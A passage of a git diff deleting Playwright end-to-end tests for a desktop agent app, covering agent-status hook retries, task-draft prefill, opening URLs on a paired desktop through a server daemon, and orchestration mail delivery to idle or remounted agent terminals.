'audio/webm' - }) - await cdp.detach() -}) diff --git a/tests/e2e/omp-completion-retry-status.spec.ts b/tests/e2e/omp-completion-retry-status.spec.ts deleted file mode 100644 index 5375906f57e..00000000000 --- a/tests/e2e/omp-completion-retry-status.spec.ts +++ /dev/null @@ -1,107 +0,0 @@ -import { once } from 'node:events' -import { createServer } from 'node:http' -import { createRequire } from 'node:module' -import { join } from 'node:path' -import { runInNewContext } from 'node:vm' -import { transform } from 'esbuild' -import { getPiAgentStatusExtensionSource } from '../../src/main/pi/managed-extensions/agent-status/agent-status-extension-source' -import { test, expect } from './helpers/orca-app' -import { readHookEndpoint } from './helpers/agent-hook-endpoint' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActiveTerminalManager } from './helpers/terminal' - -test('OMP completion retry clears the rendered working indicator', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const { paneKey, worktreeId } = await waitForActivePaneHookDescriptor(orcaPage) - let completions = 0 - const proxy = createServer(async (request, response) => { - let body = '' - for await (const chunk of request) { - body += chunk - } - if (JSON.parse(body).payload.hook_event_name === 'agent_end' && ++completions === 1) { - response.writeHead(503).end() - return - } - const forwarded = await fetch(`http://127.0.0.1:${endpoint.port}/hook/omp`, { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'X-Orca-Agent-Hook-Token': endpoint.token }, - body - }) - response.writeHead(forwarded.status).end() - }) - proxy.listen(0, '127.0.0.1') - await once(proxy, 'listening') - try { - const address = proxy.address() - if (!address || typeof address === 'string') { - throw new Error('Expected TCP listener') - } - type Handler = (event: Record, ctx: { isIdle: () => boolean }) => void - const handlers = new Map() - const module: { - exports: { default?: (api: { on: (name: string, fn: Handler) => void }) => void } - } = { exports: {} } - const { code } = await transform(getPiAgentStatusExtensionSource('omp'), { - loader: 'ts', - format: 'cjs' - }) - runInNewContext(code, { - module, - exports: module.exports, - require: createRequire(join(process.cwd(), 'package.json')), - process: { - pid: process.pid, - argv: [], - title: 'omp', - env: { - ORCA_PANE_KEY: paneKey, - ORCA_TAB_ID: paneKey.split(':')[0], - ORCA_WORKTREE_ID: worktreeId, - ORCA_AGENT_HOOK_PORT: String(address.port), - ORCA_AGENT_HOOK_TOKEN: endpoint.token, - ORCA_AGENT_HOOK_ENV: endpoint.env, - ORCA_AGENT_HOOK_VERSION: endpoint.version - } - }, - fetch, - AbortController, - Buffer, - console, - setTimeout, - clearTimeout - }) - expect(module.exports.default).toBeDefined() - module.exports.default?.({ on: (name, fn) => handlers.set(name, fn) }) - const working = orcaPage.locator('[aria-label="Working"]') - handlers.get('before_agent_start')?.( - { prompt: 'OMP completion recovery' }, - { isIdle: () => false } - ) - handlers.get('agent_start')?.({}, { isIdle: () => false }) - await expect(working.first()).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('before-working.png') }) - handlers.get('agent_end')?.({ willContinue: false }, { isIdle: () => false }) - await expect.poll(() => completions).toBe(2) - await expect(working).toHaveCount(0) - await expect - .poll(() => - orcaPage.evaluate( - (key) => window.__store?.getState().agentStatusByPaneKey.get(key)?.state, - paneKey - ) - ) - .toBe('done') - await orcaPage.screenshot({ path: testInfo.outputPath('after-completed.png') }) - } finally { - proxy.closeAllConnections() - proxy.close() - } -}) diff --git a/tests/e2e/omp-prefill-runtime.spec.ts b/tests/e2e/omp-prefill-runtime.spec.ts deleted file mode 100644 index ecffd6d9b64..00000000000 --- a/tests/e2e/omp-prefill-runtime.spec.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { readFile, writeFile } from 'node:fs/promises' -import { buildShellCommandFromArgv } from '../../src/shared/agent-launch/startup/tui-agent-startup-shell' -import { test, expect } from './helpers/orca-app' -import { getPiAgentStatusExtensionSource } from '../../src/main/pi/managed-extensions/agent-status/agent-status-extension-source' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -test('installed OMP renders the task draft without starting a turn', async ({ - orcaPage -}, testInfo) => { - test.skip( - !process.env.ORCA_OMP_PROOF_BINARY || process.platform === 'win32', - 'Opt-in POSIX OMP runtime proof' - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - const sourcePath = testInfo.outputPath('status.ts') - const probePath = testInfo.outputPath('probe.ts') - const resultPath = testInfo.outputPath('result.json') - const draft = 'Review the OMP task draft before sending' - await writeFile(sourcePath, getPiAgentStatusExtensionSource('omp')) - await writeFile( - probePath, - `import { writeFileSync } from 'node:fs' -export default function (api) { - let turns = 0 - api.on('agent_start', () => { turns++ }) - api.on('session_start', (_event, ctx) => { - setTimeout(() => writeFileSync(${JSON.stringify(resultPath)}, JSON.stringify({ - text: ctx.ui.getEditorText(), hasUI: ctx.hasUI, - consumed: !process.env.ORCA_OMP_PREFILL, turns - })), 1500) - }) -}` - ) - await execInTerminal( - orcaPage, - ptyId, - buildShellCommandFromArgv( - [ - 'env', - `ORCA_OMP_PREFILL=${draft}`, - 'ORCA_PI_STATUS_OWNED=', - process.env.ORCA_OMP_PROOF_BINARY ?? '', - '--no-session', - '--no-extensions', - '--extension', - sourcePath, - '--extension', - probePath - ], - 'posix' - ) - ) - await expect - .poll( - async () => { - try { - return JSON.parse(await readFile(resultPath, 'utf8')) - } catch { - return null - } - }, - { timeout: 45_000 } - ) - .toEqual({ text: draft, hasUI: true, consumed: true, turns: 0 }) - await expect(orcaPage.locator('.xterm-screen').first()).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('omp-prefilled.png') }) -}) diff --git a/tests/e2e/orcad-serve-open-url-on-desktop.spec.ts b/tests/e2e/orcad-serve-open-url-on-desktop.spec.ts deleted file mode 100644 index 163a508e11c..00000000000 --- a/tests/e2e/orcad-serve-open-url-on-desktop.spec.ts +++ /dev/null @@ -1,247 +0,0 @@ -// #30731 / #35066: open-url must create the first page on a paired desktop while routing through the server. -// Build the packaged slot with pnpm build:orcad, then run the electron-headless project with ORCA_E2E_ORCAD_SERVE=1 ORCA_BACKGROUND_LAUNCH=1. -import { existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { createServer, type Server } from 'node:http' - -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { runProcess } from '@orca/process-host' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { resolveBundledOrcadRuntime } from '../../src/main/orcad/runtime-launch/orcad-bundled-runtime' -import { expect, test } from './helpers/orca-app' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { cliServeProfile, spawnUntilReady } from './helpers/orca-serve-cli-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' - -const RUN = process.env.ORCA_E2E_ORCAD_SERVE === '1' -const slotDir = path.resolve('out/orcad') -const orcadRuntime = RUN && existsSync(slotDir) ? resolveBundledOrcadRuntime(slotDir) : null -const MARKER = 'open-url-desktop-marker' - -let scratch = '' - -test.beforeAll(() => { - test.skip(!RUN, 'Set ORCA_E2E_ORCAD_SERVE=1 (and build out/orcad) to run against orcad serve.') - expect(orcadRuntime, 'pnpm build:orcad must produce a packaged slot in out/orcad').toBeTruthy() - // Short root: macOS caps a unix socket path at 104 bytes, and the daemon's lives in userData. - scratch = mkdtempSync(path.join(process.platform === 'win32' ? os.tmpdir() : '/tmp', 'orca-ou-')) -}) - -test.afterAll(() => { - if (scratch) { - rmSync(scratch, { recursive: true, force: true, maxRetries: 50, retryDelay: 100 }) - } -}) - -/** A page on the server's loopback, as an agent's dev server would be. */ -async function startPageServer(): Promise<{ url: string; server: Server }> { - const server = createServer((_request, response) => { - response.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }) - response.end(`${MARKER}

${MARKER}

`) - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const address = server.address() - if (!address || typeof address === 'string') { - throw new Error('page server has no TCP address') - } - return { url: `http://127.0.0.1:${address.port}/`, server } -} - -/** The marker the desktop's own browser engine rendered for `url`, read from its guest. */ -async function readDesktopPageMarker( - app: ElectronApplication, - url: string -): Promise { - return app.evaluate(async ({ webContents }, prefix) => { - for (const contents of webContents.getAllWebContents()) { - if (contents.getURL().startsWith(prefix)) { - const marker: unknown = await contents - .executeJavaScript('document.querySelector("#marker")?.textContent ?? null') - .catch(() => null) - return typeof marker === 'string' ? marker : null - } - } - return null - }, url) -} - -test('orca open-url on orcad serve opens the page in the paired desktop', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const profile = cliServeProfile(scratch) - const serve = await spawnUntilReady({ - label: 'orcad serve', - program: orcadRuntime!, - args: [ - path.join(slotDir, 'orcad.js'), - '--bind', - '127.0.0.1', - '--port', - '0', - '--pairing-address', - '127.0.0.1', - '--json' - ], - env: { ...profile.env, ORCA_USER_DATA: profile.userDataDir }, - timeoutMs: 120_000, - parseReady: (stdout) => { - const newline = stdout.indexOf('\n') - return newline === -1 ? null : JSON.parse(stdout.slice(0, newline)) - } - }) - const page = await startPageServer() - const client = new RuntimeClient(profile.userDataDir, 15_000) - let desktop: Awaited> | null = null - try { - const pairingUrl = serve.ready.pairing?.url - expect(pairingUrl, serve.stderr()).toEqual(expect.any(String)) - const status = await client.call<{ capabilities: string[] }>('status.get') - expect(status.result.capabilities).toContain('browser.clientHost.v1') - await client.call('repo.add', { path: testRepoPath, kind: 'git' }) - - const worktree = `path:${testRepoPath}` - const openUrl = (): Promise<{ code: number | null; stdout: string; stderr: string }> => - runProcess({ - program: process.execPath, - args: [ - path.join(process.cwd(), 'out', 'cli', 'index.js'), - 'open-url', - '--url', - page.url, - '--worktree', - worktree, - '--json' - ], - env: { ...profile.env, ORCA_USER_DATA: profile.userDataDir }, - timeoutMs: 90_000 - }) - - // No desktop is paired yet: a typed refusal that says what to do. - const refused = await openUrl() - writeFileSync( - testInfo.outputPath('open-url-before-desktop.txt'), - refused.stdout + refused.stderr - ) - expect(refused.code).not.toBe(0) - expect(refused.stdout + refused.stderr).toContain('browser_host_unavailable') - - desktop = await launchPairedElectronClient({ pairingUrl }, testInfo, '#30731 desktop') - const worktreeId = await expect - .poll( - () => - desktop!.page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .find((entry) => entry.path === repoPath)?.id ?? null, - testRepoPath - ), - { timeout: 60_000 } - ) - .not.toBeNull() - .then(() => - desktop!.page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .find((entry) => entry.path === repoPath)?.id ?? '', - testRepoPath - ) - ) - await desktop.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: desktop.environmentId, worktreeId } - ) - await expect - .poll( - () => - desktop!.page.evaluate( - (id) => window.__store?.getState().activeGroupIdByWorktree[id] ?? null, - worktreeId - ), - { timeout: 60_000, message: 'the server workspace never got a tab group on the desktop' } - ) - .not.toBeNull() - const browserPageCount = await desktop.page.evaluate(() => { - const state = window.__store?.getState() - return Object.values(state?.browserPagesByWorkspace ?? {}).flat().length - }) - expect(browserPageCount).toBe(0) - - let opened: { code: number | null; stdout: string; stderr: string } | null = null - await expect - .poll( - async () => { - opened = await openUrl() - return opened.code - }, - { timeout: 60_000, intervals: [2_000] } - ) - .toBe(0) - writeFileSync(testInfo.outputPath('open-url-with-desktop.txt'), opened!.stdout + opened!.stderr) - const browserPageId = JSON.parse(opened!.stdout).result.browserPageId - expect(browserPageId).toEqual(expect.any(String)) - - await expect - .poll(() => readDesktopPageMarker(desktop!.app, page.url), { - timeout: 60_000, - message: "the desktop never rendered the server's loopback page" - }) - .toBe(MARKER) - // Client placement: the server owns the page and the desktop renders it. - const mirrored = await desktop.page.evaluate( - ({ remotePageId, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - if ((handle?.remotePageId ?? browserPage.id) === remotePageId) { - return { localPageId: browserPage.id, placement: handle?.placement?.kind ?? null } - } - } - } - return null - }, - { remotePageId: browserPageId, worktreeId } - ) - expect(mirrored?.placement).toBe('client') - // Only for the evidence screenshot: bring the page's pane forward inside the hidden window. - await desktop.page.evaluate( - ({ localPageId, worktreeId }) => - window.__store - ?.getState() - .focusBrowserTabInWorktree(worktreeId, localPageId, { surfacePane: true }), - { localPageId: mirrored?.localPageId ?? '', worktreeId } - ) - await desktop.page.screenshot({ path: testInfo.outputPath('desktop-with-open-url-page.png') }) - const tabs = await runProcess({ - program: process.execPath, - args: [ - path.join(process.cwd(), 'out', 'cli', 'index.js'), - 'tab', - 'list', - '--worktree', - worktree, - '--json' - ], - env: { ...profile.env, ORCA_USER_DATA: profile.userDataDir }, - timeoutMs: 30_000 - }) - writeFileSync(testInfo.outputPath('tab-list-with-desktop.txt'), tabs.stdout + tabs.stderr) - expect(tabs.code, tabs.stderr).toBe(0) - expect(JSON.parse(tabs.stdout).result.tabs).toContainEqual( - expect.objectContaining({ browserPageId, url: page.url }) - ) - } finally { - await desktop?.dispose() - await new Promise((settle) => page.server.close(settle)) - await serve.stop() - await cleanupE2EDaemons(profile.userDataDir) - } -}) diff --git a/tests/e2e/orchestration-follows-terminal-across-remount.spec.ts b/tests/e2e/orchestration-follows-terminal-across-remount.spec.ts deleted file mode 100644 index 0e9a67d1f69..00000000000 --- a/tests/e2e/orchestration-follows-terminal-across-remount.spec.ts +++ /dev/null @@ -1,160 +0,0 @@ -// #24354: waits and mail address a terminal, not the pane a window shows for it, so opening -// a background worker's workspace (which remounts its pane) must not break either. -import { test, expect } from './helpers/orca-app' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' -import type { - RuntimeTerminalListResult, - RuntimeTerminalSummary, - RuntimeTerminalWait -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - CODEX_IDLE_TITLE, - CODEX_WORKING_TITLE, - createMailPaneAgent, - type MailPaneAgent -} from './helpers/orchestration-mail-pane-agent' -import { mailDisposition, readMailRow } from './helpers/orchestration-mail-store' - -const POINTER_COMMAND = 'orca-dev orchestration check' -const DELIVERY_TIMEOUT_MS = 20_000 - -type BackgroundWorker = { - client: RuntimeClient - userDataDir: string - worktreeId: string - handle: string - agent: MailPaneAgent -} - -async function startWorkerInUnopenedWorkspace( - page: Page, - electronApp: ElectronApplication -): Promise { - await waitForSessionReady(page) - const activeWorktreeId = await waitForActiveWorktree(page) - const worktreeId = (await getAllWorktreeIds(page)).find((id) => id !== activeWorktreeId) - if (!worktreeId) { - throw new Error('needs the seeded secondary worktree') - } - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - await expect - .poll( - async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some((worktree) => worktree.id === worktreeId) - }, - { timeout: 60_000, message: 'runtime never registered the secondary worktree' } - ) - .toBe(true) - - const agent = createMailPaneAgent() - const created = await client.call<{ terminal: RuntimeTerminalCreate }>('terminal.create', { - worktree: `id:${worktreeId}`, - command: agent.launchCommand - }) - const handle = created.result.terminal.handle - await expect - .poll(() => agent.hasStarted(), { timeout: 60_000, message: 'agent never started' }) - .toBe(true) - return { client, userDataDir, worktreeId, handle, agent } -} - -async function readSummary(worker: BackgroundWorker): Promise { - // A pane mounting the terminal briefly refuses the listing (terminal_surface_ownership_unavailable). - const listed = await worker.client - .call('terminal.list') - .catch(() => null) - return listed?.result.terminals.find((entry) => entry.handle === worker.handle) -} - -async function waitForObservedTitle(worker: BackgroundWorker, title: string): Promise { - await expect - .poll(async () => (await readSummary(worker))?.title ?? null, { - timeout: 30_000, - message: `runtime never observed the title ${title}` - }) - .toBe(title) -} - -test.describe('orchestration across a worker pane remount', () => { - test('a wait and a mail pointer survive opening the worker workspace', async ({ - orcaPage, - electronApp - }) => { - // Agent launch, a worktree activation, a 60 s wait budget and pointer delivery. - test.setTimeout(180_000) - const worker = await startWorkerInUnopenedWorkspace(orcaPage, electronApp) - worker.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(worker, CODEX_WORKING_TITLE) - const run = await worker.client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Mail across a remount', - from: worker.handle - }) - const runId = run.result.run.id - const sendMail = (subject: string) => - worker.client.call<{ message: { id: string } }>('orchestration.send', { - to: `run:${runId}`, - from: 'e2e-sender', - subject, - body: 'e2e body', - type: 'status' - }) - const pointerCount = () => worker.agent.readStdin().split(POINTER_COMMAND).length - 1 - const expectPushed = async (messageId: string, pointersBefore: number) => { - await expect - .poll(pointerCount, { - timeout: DELIVERY_TIMEOUT_MS, - message: 'mail pointer never reached the worker' - }) - .toBeGreaterThan(pointersBefore) - await expect - .poll(() => mailDisposition(readMailRow(worker.userDataDir, messageId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - } - - // Mid-turn mail reaches the terminal before its workspace opens. - const beforeOpen = await sendMail('Mail before the workspace opens') - await expectPushed(beforeOpen.result.message.id, 0) - - const wait = worker.client.call<{ wait: RuntimeTerminalWait }>( - 'terminal.wait', - { terminal: worker.handle, for: 'tui-idle', timeoutMs: 60_000 }, - { timeoutMs: 90_000 } - ) - const settled = wait.then( - (response) => ({ ok: true as const, wait: response.result.wait }), - (error: unknown) => ({ ok: false as const, error: String(error) }) - ) - - // Opening the workspace mounts a pane for the worker's live terminal. - await switchToWorktree(orcaPage, worker.worktreeId) - await expect - .poll(async () => (await readSummary(worker))?.orphaned, { - timeout: 30_000, - message: 'the opened workspace never showed the worker terminal in a pane' - }) - .toBe(false) - - worker.agent.setTitle(CODEX_IDLE_TITLE) - const outcome = await settled - expect(outcome).toMatchObject({ ok: true, wait: { handle: worker.handle, satisfied: true } }) - // The worker keeps its name: the pane that now shows it does not mint a new handle. - expect(await readSummary(worker)).toMatchObject({ orphaned: false, connected: true }) - - // Mail after the remount still reaches the same terminal. - const pointersBeforeSecond = pointerCount() - const afterOpen = await sendMail('Mail after the workspace opens') - await expectPushed(afterOpen.result.message.id, pointersBeforeSecond) - }) -}) diff --git a/tests/e2e/orchestration-idle-mail-delivery.spec.ts b/tests/e2e/orchestration-idle-mail-delivery.spec.ts deleted file mode 100644 index 925483f592c..00000000000 --- a/tests/e2e/orchestration-idle-mail-delivery.spec.ts +++ /dev/null @@ -1,727 +0,0 @@ -// #12536: push mail to an already-idle unsupervised agent without waiting for a busy→idle edge. -// Real PTY stdin ledgers prove pointer/Enter delivery; runtime units cover microtask, respawn and waiter-reservation races. -import { test, expect } from './helpers/orca-app' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { randomUUID } from 'node:crypto' -import { writeFileSync } from 'node:fs' -import { - waitForSessionReady, - waitForActiveWorktree, - ensureTerminalVisible, - getActiveTabId -} from './helpers/store' -import { - execInTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeRpcSuccess } from '../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - CODEX_IDLE_TITLE, - CODEX_WORKING_TITLE, - CURSOR_IDLE_TITLE, - createMailPaneAgent, - type MailPaneAgentOptions, - type MailPaneAgent -} from './helpers/orchestration-mail-pane-agent' -import { - insertDirectRunMail, - insertUnackedRunDelivery, - mailDisposition, - readMailbox, - readMailRow -} from './helpers/orchestration-mail-store' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' - -const POINTER_COMMAND = 'orca-dev orchestration check' - -// Allow microtask/liveness deferral and the delayed Enter submission. -const DELIVERY_TIMEOUT_MS = 20_000 -// Wait through the full delivery chain before concluding a gate refused. -const NO_DELIVERY_SETTLE_MS = 3_000 - -type AgentPane = { - handle: string - agent: MailPaneAgent - ptyId: string -} - -type MailFixture = { - client: RuntimeClient - userDataDir: string - worktreeId: string - openAgentPane: (options?: MailPaneAgentOptions) => Promise -} - -type WaitingCheck = RuntimeRpcSuccess<{ - deliveryId: string | null - messages: { subject: string }[] -}> - -// Retry startup context replacement, matching installTerminalPtyWriteSpy. -async function readUserDataDir(electronApp: ElectronApplication): Promise { - for (let attempt = 1; ; attempt += 1) { - try { - return await electronApp.evaluate(({ app }) => app.getPath('userData')) - } catch (error) { - const transient = - error instanceof Error && error.message.includes('Execution context was destroyed') - if (!transient || attempt >= 5) { - throw error - } - await new Promise((resolve) => setTimeout(resolve, 250)) - } - } -} - -async function setUpMailFixture( - orcaPage: Page, - electronApp: ElectronApplication -): Promise { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - - const userDataDir = await readUserDataDir(electronApp) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - - // Wait for runtime registration: renderer activation alone still leaves terminal.create returning selector_not_found. - await expect - .poll( - async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some((worktree) => worktree.id === worktreeId) - }, - { timeout: 60_000, message: 'runtime never registered the active worktree' } - ) - .toBe(true) - - const openAgentPane: MailFixture['openAgentPane'] = async (options) => { - // Reuse the mounted leaf that push delivery resolves its target through. - const ptyId = await waitForActivePanePtyId(orcaPage) - const { paneKey } = await waitForActivePaneHookDescriptor(orcaPage) - const resolved = await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey - }) - const handle = resolved.result.terminal.handle - - // Prove prompt echo first or dropped startup keystrokes can prevent the fixture agent from launching. - await waitForPtyShellEcho(orcaPage, ptyId, 60_000) - const agent = createMailPaneAgent(options) - await execInTerminal(orcaPage, ptyId, agent.launchCommand) - await expect - .poll(() => agent.hasStarted(), { timeout: 60_000, message: 'agent never started' }) - .toBe(true) - return { handle, agent, ptyId } - } - - return { client, userDataDir, worktreeId, openAgentPane } -} - -/** Wait until the runtime has observed `title` as a LIVE frame from the pane. */ -async function waitForObservedTitle( - client: RuntimeClient, - handle: string, - title: string -): Promise { - await expect - .poll( - async () => { - const listed = await client.call('terminal.list') - return listed.result.terminals.find((entry) => entry.handle === handle)?.title ?? null - }, - { timeout: 30_000, message: `runtime never observed the title ${title}` } - ) - .toBe(title) -} - -/** Put the pane in the state #12536 is about: idle, observed live, no transition pending. */ -async function driveToLiveIdle(client: RuntimeClient, pane: AgentPane): Promise { - pane.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - pane.agent.setTitle(CODEX_IDLE_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_IDLE_TITLE) -} - -async function sendMail( - client: RuntimeClient, - to: string, - overrides: { subject: string; type?: string; body?: string } -): Promise { - const sent = await client.call<{ message: { id: string } }>('orchestration.send', { - to, - from: 'e2e-sender', - subject: overrides.subject, - body: overrides.body ?? 'e2e body', - type: overrides.type ?? 'status' - }) - return sent.result.message.id -} - -async function createRunMailbox( - client: RuntimeClient, - pane: AgentPane, - objective: string -): Promise { - const created = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective, - from: pane.handle - }) - return `run:${created.result.run.id}` -} - -async function expectPointed(pane: AgentPane, count = 1): Promise { - await expect - .poll(() => pane.agent.readStdin(), { - timeout: DELIVERY_TIMEOUT_MS, - message: 'mail pointer never reached the agent process' - }) - .toContain(POINTER_COMMAND) - const noun = count === 1 ? 'message' : 'messages' - expect(pane.agent.readStdin()).toContain(`${count} orchestration ${noun}`) -} - -// The pointer contains only LF; any CR proves the separate delayed Enter arrived, regardless of PTY chunking. -async function expectSubmitted(pane: AgentPane): Promise { - await expect - .poll(() => pane.agent.readStdin().includes('\r'), { - timeout: DELIVERY_TIMEOUT_MS, - message: 'orchestration never synthesized Enter' - }) - .toBe(true) -} - -function countOccurrences(value: string, needle: string): number { - return value.split(needle).length - 1 -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((targetTabId) => { - const store = window.__store - if (!store) { - throw new Error('activateTerminalTab: window.__store is unavailable') - } - const state = store.getState() - state.setActiveTabType('terminal', state.activeWorktreeId) - state.setActiveTab(targetTabId) - }, tabId) - await expect.poll(() => getActiveTabId(page), { timeout: 5_000 }).toBe(tabId) -} - -// Wait the full window: polling for pending could pass before delivery ever runs. -async function expectStaysPending( - page: Page, - userDataDir: string, - pane: AgentPane, - messageId: string -): Promise { - // The row must exist first, or "pending" could just mean the send never landed. - expect(readMailRow(userDataDir, messageId)).toBeDefined() - await page.waitForTimeout(NO_DELIVERY_SETTLE_MS) - expect(mailDisposition(readMailRow(userDataDir, messageId))).toBe('pending') - expect(pane.agent.readStdin()).not.toContain(POINTER_COMMAND) -} - -test.describe('orchestration push-on-idle mail delivery', () => { - test('delivers mail that arrives while the agent is already idle', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - await driveToLiveIdle(client, pane) - const mailbox = await createRunMailbox(client, pane, 'Already idle delivery') - - // Send without another busy→idle edge, which stranded mail before #12536. - const subject = 'Already idle delivery' - const messageId = await sendMail(client, mailbox, { subject }) - - await expectPointed(pane) - await expectSubmitted(pane) - await expect - .poll(() => mailDisposition(readMailRow(userDataDir, messageId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - }) - - test('holds mail while an unrecognized program is working and releases it on the idle frame', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - // A recognized agent takes mid-turn mail (orchestration-follows-terminal-across-remount.spec.ts). - const pane = await openAgentPane({ executable: null }) - pane.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - const mailbox = await createRunMailbox(client, pane, 'Held while working') - - const subject = 'Held while working' - const messageId = await sendMail(client, mailbox, { subject }) - await expectStaysPending(orcaPage, userDataDir, pane, messageId) - - // Release the working gate to prove the earlier silence was not disconnected delivery wiring. - pane.agent.setTitle(CODEX_IDLE_TITLE) - await expectPointed(pane) - await expect - .poll(() => mailDisposition(readMailRow(userDataDir, messageId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - }) - - // This covers null→idle; orchestration-idle-mail-restore.spec.ts covers restart without a new status transition. - test('delivers mail queued before a fresh agent has reported any status', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - const mailbox = await createRunMailbox(client, pane, 'First live idle frame') - - // No title models a resumed agent before its first prompt. - const subject = 'First live idle frame' - const messageId = await sendMail(client, mailbox, { subject }) - await expectStaysPending(orcaPage, userDataDir, pane, messageId) - - // Its first live idle observation must trigger delivery without a prior working status. - pane.agent.setTitle(CODEX_IDLE_TITLE) - await expectPointed(pane) - await expectSubmitted(pane) - }) - - test('leaves the mail to a live waiter instead of pushing it into the pane', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - await driveToLiveIdle(client, pane) - const mailbox = await createRunMailbox(client, pane, 'Live waiter') - - // A supervised waiter consumes read while push stamps delivered_at; either alone leaves duplicate delivery possible. - // Two waits model a forgotten listener plus its replacement. - const waitForMail = (): Promise => - client.call('orchestration.check', { - terminal: pane.handle, - wait: true, - timeoutMs: 30_000 - }) - const waiters = [waitForMail(), waitForMail()] - // ast-grep-ignore: test-no-real-time-wait -- the runtime exposes no signal that a wait registered - await orcaPage.waitForTimeout(NO_DELIVERY_SETTLE_MS) - - const subject = 'Waiter claims it' - const messageId = await sendMail(client, mailbox, { subject }) - - const [first, second] = await Promise.all(waiters) - expect(first.result.messages.map((message) => message.subject)).toContain(subject) - expect(first.result.deliveryId).toEqual(expect.any(String)) - expect(second.result.deliveryId).toBe(first.result.deliveryId) - // A consuming check marks the batch it returns handled, so no later push may point at it. - expect(mailDisposition(readMailRow(userDataDir, messageId))).toBe('pulled') - // ast-grep-ignore: test-no-real-time-wait -- absence of a pointer needs the delivery chain's window - await orcaPage.waitForTimeout(NO_DELIVERY_SETTLE_MS) - expect(pane.agent.readStdin()).not.toContain(POINTER_COMMAND) - }) - - test('pushes to the pane when the only waiter filters this message type out', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - await driveToLiveIdle(client, pane) - const mailbox = await createRunMailbox(client, pane, 'Filtered waiter') - - // worker_done waiters cannot consume status mail and must not suppress its push. - const waiting = client - .call('orchestration.check', { - 